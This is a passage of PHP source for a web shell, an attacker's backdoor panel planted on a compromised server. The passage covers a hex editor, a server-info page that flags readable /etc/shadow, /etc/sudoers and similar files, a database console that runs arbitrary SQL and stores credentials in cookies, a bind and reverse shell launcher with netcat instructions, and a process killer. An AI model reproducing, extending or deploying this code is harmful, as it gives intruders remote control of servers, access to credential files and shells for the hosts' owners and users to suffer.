  1741. $s_linehex = strtoupper(bin2hex($s_line));
  1742. $s_linex = str_split($s_linehex, 2);
  1743. $s_linehex = implode(" ", $s_linex);
  1744. $s_addr = sprintf("%08xh", $s_icounter);
  1745.  
  1746. $s_result .= "&lt;tr&gt;&lt;td class='ce w60'&gt;".$s_addr."&lt;/td&gt;&lt;td class='le w594'&gt;&lt;input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hu('".$s_counter."',event);\" onkeydown=\"return hf('".$s_counter."',event);\" onkeyup=\"hu('".$s_counter."',event);\" type='text' class='inputz w578' id='hex_".$s_counter."' name='hx[]' value='".$s_linehex."' maxlength='".strlen($s_linehex)."' /&gt;&lt;/td&gt;&lt;td class='le ls2'&gt;&lt;pre name='hexdump' id='dump_".$s_counter."' class='mp'&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;";
  1747. $s_counter++;
  1748. $s_icounter+=32;
  1749. }
  1750. $s_result .= "&lt;input type='hidden' id='counter' value='".$s_counter."' /&gt;";
  1751. $s_result .= "&lt;textarea name='hxt' id='hxt' class='sembunyi'&gt;&lt;/textarea&gt;";
  1752. fclose($s_fp);
  1753. }
  1754. }
  1755. $s_result .= "&lt;/table&gt;&lt;/form&gt;";
  1756.  
  1757. } // show server information
  1758. elseif(isset($_GP['x']) &amp;&amp; ($_GP['x']=='info')){
  1759. $s_result = "";
  1760. // server misc info
  1761. $s_result .= "&lt;p class='notif' onclick=\"toggle('info_server')\"&gt;Server Info&lt;/p&gt;";
  1762. $s_result .= "&lt;div class='info' id='info_server'&gt;&lt;table&gt;";
  1763.  
  1764. if($s_win){
  1765. foreach (range("A", "Z") as $s_letter){
  1766. if((@is_dir($s_letter.":\\") &amp;&amp; @is_readable($s_letter.":\\"))){
  1767. $s_drive = $s_letter.":";
  1768. $s_result .= "&lt;tr&gt;&lt;td&gt;drive ".$s_drive."&lt;/td&gt;&lt;td&gt;".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."&lt;/td&gt;&lt;/tr&gt;";
  1769. }
  1770. }
  1771. }
  1772. else $s_result .= "&lt;tr&gt;&lt;td&gt;root partition&lt;/td&gt;&lt;td&gt;".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."&lt;/td&gt;&lt;/tr&gt;";
  1773.  
  1774. $s_result .= "&lt;tr&gt;&lt;td&gt;php&lt;/td&gt;&lt;td&gt;".phpversion()."&lt;/td&gt;&lt;/tr&gt;";
  1775. $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
  1776. foreach($s_access as $s){
  1777. $s_t = explode("_", $s);
  1778. if(isset($$s)) $s_result .= "&lt;tr&gt;&lt;td&gt;".$s_t[1]."&lt;/td&gt;&lt;td&gt;".$$s."&lt;/td&gt;&lt;/tr&gt;";
  1779. }
  1780.  
  1781. if(!$s_win){
  1782. $s_interesting = array(
  1783. "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
  1784. "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
  1785. "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
  1786. "/etc/ssh/sshd_config",
  1787. "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
  1788. "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
  1789. "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
  1790. foreach($s_interesting as $s_f){
  1791. if(@is_file($s_f) &amp;&amp; @is_readable($s_f)) $s_result .= "&lt;tr&gt;&lt;td&gt;".$s_f."&lt;/td&gt;&lt;td&gt;&lt;a href='".$s_self."view=".pl($s_f)."'&gt;".$s_f." is readable&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;";
  1792. }
  1793. }
  1794. $s_result .= "&lt;/table&gt;&lt;/div&gt;";
  1795.  
  1796. if(!$s_win){
  1797. // cpu info
  1798. if($s_i_buff=trim(@fgc("/proc/cpuinfo"))){
  1799. $s_result .= "&lt;p class='notif' onclick=\"toggle('info_cpu')\"&gt;CPU Info&lt;/p&gt;";
  1800. $s_result .= "&lt;div class='info' id='info_cpu'&gt;";
  1801. $s_i_buffs = explode("\n\n", $s_i_buff);
  1802. foreach($s_i_buffs as $s_i_buffss){
  1803. $s_i_buffss = trim($s_i_buffss);
  1804. if($s_i_buffss!=""){
  1805. $s_i_buffsss = explode("\n", $s_i_buffss);
  1806. $s_result .= "&lt;table&gt;";
  1807. foreach($s_i_buffsss as $s_i){
  1808. $s_i = trim($s_i);
  1809. if($s_i!=""){
  1810. $s_ii = explode(":",$s_i);
  1811. if(count($s_ii)==2) $s_result .= "&lt;tr&gt;&lt;td&gt;".$s_ii[0]."&lt;/td&gt;&lt;td&gt;".$s_ii[1]."&lt;/td&gt;&lt;/tr&gt;";
  1812. }
  1813. }
  1814. $s_result .= "&lt;/table&gt;";
  1815. }
  1816. }
  1817. $s_result .= "&lt;/div&gt;";
  1818. }
  1819.  
  1820. // mem info
  1821. if($s_i_buff=trim(@fgc("/proc/meminfo"))){
  1822. $s_result .= "&lt;p class='notif' onclick=\"toggle('info_mem')\"&gt;Memory Info&lt;/p&gt;";
  1823. $s_i_buffs = explode("\n", $s_i_buff);
  1824. $s_result .= "&lt;div class='info' id='info_mem'&gt;&lt;table&gt;";
  1825. foreach($s_i_buffs as $s_i){
  1826. $s_i = trim($s_i);
  1827. if($s_i!=""){
  1828. $s_ii = explode(":",$s_i);
  1829. if(count($s_ii)==2) $s_result .= "&lt;tr&gt;&lt;td&gt;".$s_ii[0]."&lt;/td&gt;&lt;td&gt;".$s_ii[1]."&lt;/td&gt;&lt;/tr&gt;";
  1830. }
  1831. else $s_result .= "&lt;/table&gt;&lt;table&gt;";
  1832. }
  1833. $s_result .= "&lt;/table&gt;&lt;/div&gt;";
  1834. }
  1835.  
  1836. // partition
  1837. if($s_i_buff=trim(@fgc("/proc/partitions"))){
  1838. $s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
  1839. $s_result .= "&lt;p class='notif' onclick=\"toggle('info_part')\"&gt;Partitions Info&lt;/p&gt;";
  1840. $s_result .= "&lt;div class='info' id='info_part'&gt;";
  1841. $s_i_buffs = explode("\n\n", $s_i_buff);
  1842. $s_result .= "&lt;table&gt;&lt;tr&gt;";
  1843. $s_i_head = explode(" ", $s_i_buffs[0]);
  1844. foreach($s_i_head as $s_h) $s_result .= "&lt;th&gt;".$s_h."&lt;/th&gt;";
  1845. $s_result .= "&lt;/tr&gt;";
  1846. $s_i_buffss = explode("\n", $s_i_buffs[1]);
  1847. foreach($s_i_buffss as $s_i_b){
  1848. $s_i_row = explode(" ", trim($s_i_b));
  1849. $s_result .= "&lt;tr&gt;";
  1850. foreach($s_i_row as $s_r) $s_result .= "&lt;td style='text-align:center;'&gt;".$s_r."&lt;/td&gt;";
  1851. $s_result .= "&lt;/tr&gt;";
  1852. }
  1853. $s_result .= "&lt;/table&gt;";
  1854. $s_result .= "&lt;/div&gt;";
  1855. }
  1856. }
  1857. $s_phpinfo = array("PHP General" =&gt; INFO_GENERAL, "PHP Configuration" =&gt; INFO_CONFIGURATION, "PHP Modules" =&gt; INFO_MODULES, "PHP Environment" =&gt; INFO_ENVIRONMENT, "PHP Variables" =&gt; INFO_VARIABLES);
  1858. foreach($s_phpinfo as $s_p=&gt;$s_i){
  1859. $s_result .= "&lt;p class='notif' onclick=\"toggle('".$s_i."')\"&gt;".$s_p."&lt;/p&gt;";
  1860. ob_start();
  1861. eval("phpinfo(".$s_i.");");
  1862. $s_b = ob_get_contents();
  1863. ob_end_clean();
  1864. if(preg_match("/&lt;body&gt;(.*?)&lt;\/body&gt;/is", $s_b, $r)){
  1865. $s_body = str_replace(array(",", ";", "&amp;amp;"), array(", ", "; ", "&amp;"), $r[1]);
  1866. $s_result .= "&lt;div class='info' id='".$s_i."'&gt;".$s_body."&lt;/div&gt;";
  1867. }
  1868. }
  1869. } // working with database
  1870. elseif(isset($_GP['x']) &amp;&amp; ($_GP['x']=='db')){
  1871. // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
  1872. $s_sql = array();
  1873. $s_sql_deleted = "";
  1874. $s_show_form = $s_show_dbs = true;
  1875.  
  1876. if(isset($_GP['dc'])){
  1877. $k = $_GP['dc'];
  1878. setcookie("c[".$k."]", "" ,time() - $s_login_time);
  1879. $s_sql_deleted = $k;
  1880. }
  1881.  
  1882. if(isset($_COOKIE['c']) &amp;&amp; !isset($_GP['connect'])){
  1883. foreach($_COOKIE['c'] as $c=&gt;$d){
  1884. if($c==$s_sql_deleted) continue;
  1885. $s_dbcon = (function_exists("json_encode") &amp;&amp; function_exists("json_decode"))? json_decode($d):unserialize($d);
  1886. foreach($s_dbcon as $k=&gt;$v) $s_sql[$k] = $v;
  1887. $s_sqlport = (!empty($s_sql['port']))? ":".$s_sql['port']:"";
  1888. $s_result .= notif("[".$s_sql['type']."] ".$s_sql['user']."@".$s_sql['host'].$s_sqlport."
  1889. &lt;span style='float:right;'&gt;&lt;a href='".$s_self."x=db&amp;connect=connect&amp;sqlhost=".pl($s_sql['host'])."&amp;sqlport=".pl($s_sql['port'])."&amp;sqluser=".pl($s_sql['user'])."&amp;sqlpass=".pl($s_sql['pass'])."&amp;sqltype=".pl($s_sql['type'])."'&gt;connect&lt;/a&gt; | &lt;a href='".$s_self."x=db&amp;dc=".pl($c)."'&gt;disconnect&lt;/a&gt;&lt;/span&gt;");
  1890. }
  1891. }
  1892. else{
  1893. $s_sql['host'] = isset($_GP['sqlhost'])? $_GP['sqlhost'] : "";
  1894. $s_sql['port'] = isset($_GP['sqlport'])? $_GP['sqlport'] : "";
  1895. $s_sql['user'] = isset($_GP['sqluser'])? $_GP['sqluser'] : "";
  1896. $s_sql['pass'] = isset($_GP['sqlpass'])? $_GP['sqlpass'] : "";
  1897. $s_sql['type'] = isset($_GP['sqltype'])? $_GP['sqltype'] : "";
  1898. }
  1899.  
  1900. if(isset($_GP['connect'])){
  1901. $s_con = sql_connect($s_sql['type'],$s_sql['host'],$s_sql['user'],$s_sql['pass']);
  1902. $s_sqlcode = isset($_GP['sqlcode'])? $_GP['sqlcode'] : "";
  1903.  
  1904. if($s_con!==false){
  1905. if(isset($_GP['sqlinit'])){
  1906. $s_sql_cookie = (function_exists("json_encode") &amp;&amp; function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
  1907. $s_c_num = substr(md5(time().rand(0,100)),0,3);
  1908. while(isset($_COOKIE['c']) &amp;&amp; is_array($_COOKIE['c']) &amp;&amp; array_key_exists($s_c_num, $_COOKIE['c'])){
  1909. $s_c_num = substr(md5(time().rand(0,100)),0,3);
  1910. }
  1911. setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
  1912. }
  1913. $s_show_form = false;
  1914. $s_result .= "&lt;form action='".$s_self."' method='post'&gt;
  1915. &lt;input type='hidden' name='sqlhost' value='".hss($s_sql['host'])."' /&gt;
  1916. &lt;input type='hidden' name='sqlport' value='".hss($s_sql['port'])."' /&gt;
  1917. &lt;input type='hidden' name='sqluser' value='".hss($s_sql['user'])."' /&gt;
  1918. &lt;input type='hidden' name='sqlpass' value='".hss($s_sql['pass'])."' /&gt;
  1919. &lt;input type='hidden' name='sqltype' value='".hss($s_sql['type'])."' /&gt;
  1920. &lt;input type='hidden' name='x' value='db' /&gt;
  1921. &lt;input type='hidden' name='connect' value='connect' /&gt;
  1922. &lt;textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'&gt;".hss($s_sqlcode)."&lt;/textarea&gt;
  1923. &lt;p&gt;&lt;input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' /&gt;
  1924. &amp;nbsp;&amp;nbsp;Separate multiple commands with a semicolon &lt;span class='gaya'&gt;[&lt;/span&gt; ; &lt;span class='gaya'&gt;]&lt;/span&gt;&lt;/p&gt;
  1925. &lt;/form&gt;";
  1926.  
  1927. if(!empty($s_sqlcode)){
  1928. $s_querys = explode(";",$s_sqlcode);
  1929. foreach($s_querys as $s_query){
  1930. if(trim($s_query) != ""){
  1931. $s_hasil = sql_query($s_sql['type'],$s_query,$s_con);
  1932. if($s_hasil!=false){
  1933. $s_result .= "&lt;hr /&gt;&lt;p style='padding:0;margin:6px 10px;font-weight:bold;'&gt;".hss($s_query).";&amp;nbsp;&amp;nbsp;&amp;nbsp;
  1934. &lt;span class='gaya'&gt;[&lt;/span&gt; ok &lt;span class='gaya'&gt;]&lt;/span&gt;&lt;/p&gt;";
  1935.  
  1936. if(!is_bool($s_hasil)){
  1937. $s_result .= "&lt;table class='explore sortable' style='width:100%;'&gt;&lt;tr&gt;";
  1938. for($s_i = 0; $s_i&lt;sql_num_fields($s_sql['type'],$s_hasil); $s_i++)
  1939. $s_result .= "&lt;th&gt;".@hss(sql_field_name($s_sql['type'],$s_hasil,$s_i))."&lt;/th&gt;";
  1940. $s_result .= "&lt;/tr&gt;";
  1941. while($s_rows=sql_fetch_data($s_sql['type'],$s_hasil)){
  1942. $s_result .= "&lt;tr&gt;";
  1943. foreach($s_rows as $s_r){
  1944. if(empty($s_r)) $s_r = " ";
  1945. $s_result .= "&lt;td&gt;".@hss($s_r)."&lt;/td&gt;";
  1946. }
  1947. $s_result .= "&lt;/tr&gt;";
  1948. }
  1949. $s_result .= "&lt;/table&gt;";
  1950. }
  1951. }
  1952. else{
  1953. $s_result .= "&lt;p style='padding:0;margin:6px 10px;font-weight:bold;'&gt;".hss($s_query).";&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class='gaya'&gt;[&lt;/span&gt; error &lt;span class='gaya'&gt;]&lt;/span&gt;&lt;/p&gt;";
  1954. }
  1955. }
  1956. }
  1957. }
  1958. else{
  1959. if(($s_sql['type']!='pdo') &amp;&amp; ($s_sql['type']!='odbc')){
  1960. if($s_sql['type']=='mysql') $s_showdb = "SHOW DATABASES";
  1961. elseif($s_sql['type']=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
  1962. elseif($s_sql['type']=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
  1963. elseif($s_sql['type']=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  1964. elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showdb = "SELECT \"".$s_sql['host']."\"";
  1965. else $s_showdb = "SHOW DATABASES";
  1966.  
  1967. $s_hasil = sql_query($s_sql['type'],$s_showdb,$s_con);
  1968.  
  1969. if($s_hasil!=false) {
  1970. while($s_rows_arr=sql_fetch_data($s_sql['type'],$s_hasil)){
  1971. foreach($s_rows_arr as $s_rows){
  1972. $s_result .= "&lt;p class='notif' onclick=\"toggle('db_".$s_rows."')\"&gt;".$s_rows."&lt;/p&gt;";
  1973. $s_result .= "&lt;div class='info' id='db_".$s_rows."'&gt;&lt;table class='explore'&gt;";
  1974.  
  1975. if($s_sql['type']=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
  1976. elseif($s_sql['type']=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
  1977. elseif($s_sql['type']=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
  1978. elseif($s_sql['type']=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
  1979. elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  1980. else $s_showtbl = "";
  1981.  
  1982. $s_hasil_t = sql_query($s_sql['type'],$s_showtbl,$s_con);
  1983. if($s_hasil_t!=false) {
  1984. while($s_tables_arr=sql_fetch_data($s_sql['type'],$s_hasil_t)){
  1985. foreach($s_tables_arr as $s_tables){
  1986. if($s_sql['type']=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
  1987. elseif($s_sql['type']=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
  1988. elseif($s_sql['type']=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
  1989. elseif($s_sql['type']=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
  1990. elseif($s_sql['type']=='sqlite' || $s_sql['type']=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
  1991. else $s_dump_tbl = "";
  1992.  
  1993. $s_dump_tbl_link = $s_self."x=db&amp;connect=&amp;sqlhost=".pl($s_sql['host'])."&amp;sqlport=".pl($s_sql['port'])."&amp;sqluser=".pl($s_sql['user'])."&amp;sqlpass=".pl($s_sql['pass'])."&amp;sqltype=".pl($s_sql['type'])."&amp;sqlcode=".pl($s_dump_tbl);
  1994.  
  1995. $s_result .= "&lt;tr&gt;&lt;td ondblclick=\"return go('".adds($s_dump_tbl_link)."',event);\"&gt;&lt;a href='".$s_dump_tbl_link."'&gt;".$s_tables."&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;";
  1996. }
  1997. }
  1998. }
  1999. $s_result .= "&lt;/table&gt;&lt;/div&gt;";
  2000. }
  2001. }
  2002. }
  2003. }
  2004. }
  2005. sql_close($s_sql['type'],$s_con);
  2006. }
  2007. else{
  2008. $s_result .= notif("Unable to connect to database");
  2009. $s_show_form = true;
  2010. }
  2011. }
  2012.  
  2013. if($s_show_form){
  2014. // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
  2015. $s_sqllist = array();
  2016. if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "Connect to MySQL &lt;span class='desc' style='font-size:12px;'&gt;- using class mysqli or mysql_*&lt;/span&gt;";
  2017. if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "Connect to MsSQL &lt;span class='desc' style='font-size:12px;'&gt;- using sqlsrv_* or mssql_*&lt;/span&gt;";
  2018. if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "Connect to PostgreSQL &lt;span class='desc' style='font-size:12px;'&gt;- using pg_*&lt;/span&gt;";
  2019. if(function_exists("oci_connect")) $s_sqllist["oracle"] = "Connect to oracle &lt;span class='desc' style='font-size:12px;'&gt;- using oci_*&lt;/span&gt;";
  2020. if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "Connect to SQLite &lt;span class='desc' style='font-size:12px;'&gt;- using sqlite_*&lt;/span&gt;";
  2021. if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "Connect to SQLite3 &lt;span class='desc' style='font-size:12px;'&gt;- using class SQLite3&lt;/span&gt;";
  2022. if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "Connect via ODBC &lt;span class='desc' style='font-size:12px;'&gt;- using odbc_*&lt;/span&gt;";
  2023. if(class_exists("PDO")) $s_sqllist["pdo"] = "Connect via PDO &lt;span class='desc' style='font-size:12px;'&gt;- using class PDO&lt;/span&gt;";
  2024.  
  2025. foreach($s_sqllist as $s_sql['type']=&gt;$s_sqltitle){
  2026. if($s_sql['type']=="odbc" || $s_sql['type']=="pdo"){
  2027. $s_result .= "&lt;div class='mybox'&gt;&lt;h2&gt;".$s_sqltitle."&lt;/h2&gt;
  2028. &lt;form action='".$s_self."' method='post' /&gt;
  2029. &lt;table class='myboxtbl'&gt;
  2030. &lt;tr&gt;&lt;td style='width:170px;'&gt;DSN / Connection String&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2031. &lt;tr&gt;&lt;td&gt;Username&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2032. &lt;tr&gt;&lt;td&gt;Password&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2033. &lt;/table&gt;
  2034. &lt;input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /&gt;
  2035. &lt;input type='hidden' name='sqltype' value='".$s_sql['type']."' /&gt;
  2036. &lt;input type='hidden' name='sqlinit' value='init' /&gt;
  2037. &lt;input type='hidden' name='x' value='db' /&gt;
  2038. &lt;/form&gt;
  2039. &lt;/div&gt;";
  2040. }
  2041. elseif($s_sql['type']=="sqlite" || $s_sql['type']=="sqlite3"){
  2042. $s_result .= "&lt;div class='mybox'&gt;&lt;h2&gt;".$s_sqltitle."&lt;/h2&gt;
  2043. &lt;form action='".$s_self."' method='post' /&gt;
  2044. &lt;table class='myboxtbl'&gt;
  2045. &lt;tr&gt;&lt;td style='width:170px;'&gt;DB File&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2046. &lt;/table&gt;
  2047. &lt;input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /&gt;
  2048. &lt;input type='hidden' name='sqltype' value='".$s_sql['type']."' /&gt;
  2049. &lt;input type='hidden' name='sqlinit' value='init' /&gt;
  2050. &lt;input type='hidden' name='x' value='db' /&gt;
  2051. &lt;/form&gt;
  2052. &lt;/div&gt;";
  2053. }
  2054. else{
  2055. $s_result .= "&lt;div class='mybox'&gt;&lt;h2&gt;".$s_sqltitle."&lt;/h2&gt;
  2056. &lt;form action='".$s_self."' method='post' /&gt;
  2057. &lt;table class='myboxtbl'&gt;
  2058. &lt;tr&gt;&lt;td style='width:170px;'&gt;Host&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2059. &lt;tr&gt;&lt;td&gt;Username&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2060. &lt;tr&gt;&lt;td&gt;Password&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2061. &lt;tr&gt;&lt;td&gt;Port (optional)&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2062. &lt;/table&gt;
  2063. &lt;input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /&gt;
  2064. &lt;input type='hidden' name='sqltype' value='".$s_sql['type']."' /&gt;
  2065. &lt;input type='hidden' name='sqlinit' value='init' /&gt;
  2066. &lt;input type='hidden' name='x' value='db' /&gt;
  2067. &lt;/form&gt;
  2068. &lt;/div&gt;";
  2069. }
  2070. }
  2071. }
  2072. } // bind and reverse shell
  2073. elseif(isset($_GP['x']) &amp;&amp; ($_GP['x']=='rs')){
  2074. // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
  2075. $s_rshost = $s_server_ip;
  2076.  
  2077. $s_rsport = "13123"; // default port
  2078. $s_rspesana = "Press &amp;#39; Go ! &amp;#39; button and run &amp;#39; nc &lt;i&gt;server_ip&lt;/i&gt; &lt;i&gt;port&lt;/i&gt; &amp;#39; on your computer";
  2079. $s_rspesanb = "Run &amp;#39; nc -l -v -p &lt;i&gt;port&lt;/i&gt; &amp;#39; on your computer and press &amp;#39; Go ! &amp;#39; button";
  2080. $s_rs_err = "";
  2081.  
  2082. $s_rsbind = $s_rsback = array();
  2083.  
  2084. $s_rsbind["bind_php"] = "Bind Shell &lt;span class='desc' style='font-size:12px;'&gt;- php&lt;/span&gt;";
  2085. $s_rsback["back_php"] = "Reverse Shell &lt;span class='desc' style='font-size:12px;'&gt;- php&lt;/span&gt;";
  2086.  
  2087. $s_access = array("s_python"=&gt;"py", "s_perl"=&gt;"pl", "s_ruby"=&gt;"rb", "s_node"=&gt;"js", "s_nodejs"=&gt;"js", "s_gcc"=&gt;"c", "s_javac"=&gt;"java");
  2088. foreach($s_access as $k=&gt;$v){
  2089. if(isset($$k)){
  2090. $s_t = explode("_", $k);
  2091. $s_rsbind["bind_".$v] = "Bind Shell &lt;span class='desc' style='font-size:12px;'&gt;- ".$s_t[1]."&lt;/span&gt;";
  2092. $s_rsback["back_".$v] = "Reverse Shell &lt;span class='desc' style='font-size:12px;'&gt;- ".$s_t[1]."&lt;/span&gt;";
  2093. }
  2094. }
  2095.  
  2096. if($s_win){
  2097. $s_rsbind["bind_win"] = "Bind Shell &lt;span class='desc' style='font-size:12px;'&gt;- windows executable&lt;/span&gt;";
  2098. $s_rsback["back_win"] = "Reverse Shell &lt;span class='desc' style='font-size:12px;'&gt;- windows executable&lt;/span&gt;";
  2099. }
  2100. $s_rslist = array_merge($s_rsbind,$s_rsback);
  2101.  
  2102. if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");
  2103.  
  2104. foreach($s_rslist as $s_rstype=&gt;$s_rstitle){
  2105. $s_split = explode("_",$s_rstype);
  2106. if($s_split[0]=="bind"){
  2107. $s_rspesan = $s_rspesana;
  2108. $s_rsdisabled = "disabled='disabled'";
  2109. $s_rstarget = $s_server_ip;
  2110. $s_labelip = "Server IP";
  2111. }
  2112. elseif($s_split[0]=="back"){
  2113. $s_rspesan = $s_rspesanb;
  2114. $s_rsdisabled = "";
  2115. $s_rstarget = $s_my_ip;
  2116. $s_labelip = "Target IP";
  2117. }
  2118.  
  2119. if(isset($_GP[$s_rstype])){
  2120. if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
  2121. if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];
  2122.  
  2123. if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
  2124. elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;
  2125.  
  2126. if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
  2127. elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
  2128. elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
  2129. elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
  2130. elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
  2131. elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
  2132. elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
  2133. elseif($s_split[1]=="php") $s_rscode = $s_rs_php;
  2134.  
  2135. $s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
  2136. if($s_buff!="") $s_rs_err = notif(hss($s_buff));
  2137. }
  2138. $s_result .= "&lt;div class='mybox'&gt;&lt;h2&gt;".$s_rstitle."&lt;/h2&gt;
  2139. &lt;form action='".$s_self."' method='post' /&gt;
  2140. &lt;table class='myboxtbl'&gt;
  2141. &lt;tr&gt;&lt;td style='width:100px;'&gt;".$s_labelip."&lt;/td&gt;&lt;td&gt;&lt;input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".hss($s_rstarget)."' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2142. &lt;tr&gt;&lt;td&gt;Port&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".hss($s_rsport)."' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2143. &lt;/table&gt;
  2144. &lt;input type='submit' name='".$s_rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /&gt;
  2145. &amp;nbsp;&amp;nbsp;&lt;span&gt;".$s_rspesan."&lt;/span&gt;
  2146. &lt;input type='hidden' name='x' value='rs' /&gt;
  2147. &lt;/form&gt;
  2148. &lt;/div&gt;";
  2149. }
  2150. $s_result = $s_rs_err.$s_result;
  2151. } // task manager
  2152. elseif(isset($_GP['x']) &amp;&amp; ($_GP['x']=='ps')){
  2153. $s_buff = "";
  2154. // kill process specified by pid
  2155. if(isset($_GP['pid'])){
  2156. $s_p = trim($_GP['pid'],"|");
  2157. $s_parr = explode("|", $s_p);
  2158.  
  2159. foreach($s_parr as $s_p){
  2160. if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,'9'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
  2161. else{
  2162. if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
  2163. else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
  2164. }
  2165. }
  2166. }
  2167.  
  2168. if(!$s_win) $s_h = "ps aux"; // nix
  2169. else $s_h = "tasklist /V /FO csv"; // win
  2170. $s_wcount = 11;
  2171. $s_wexplode = " ";
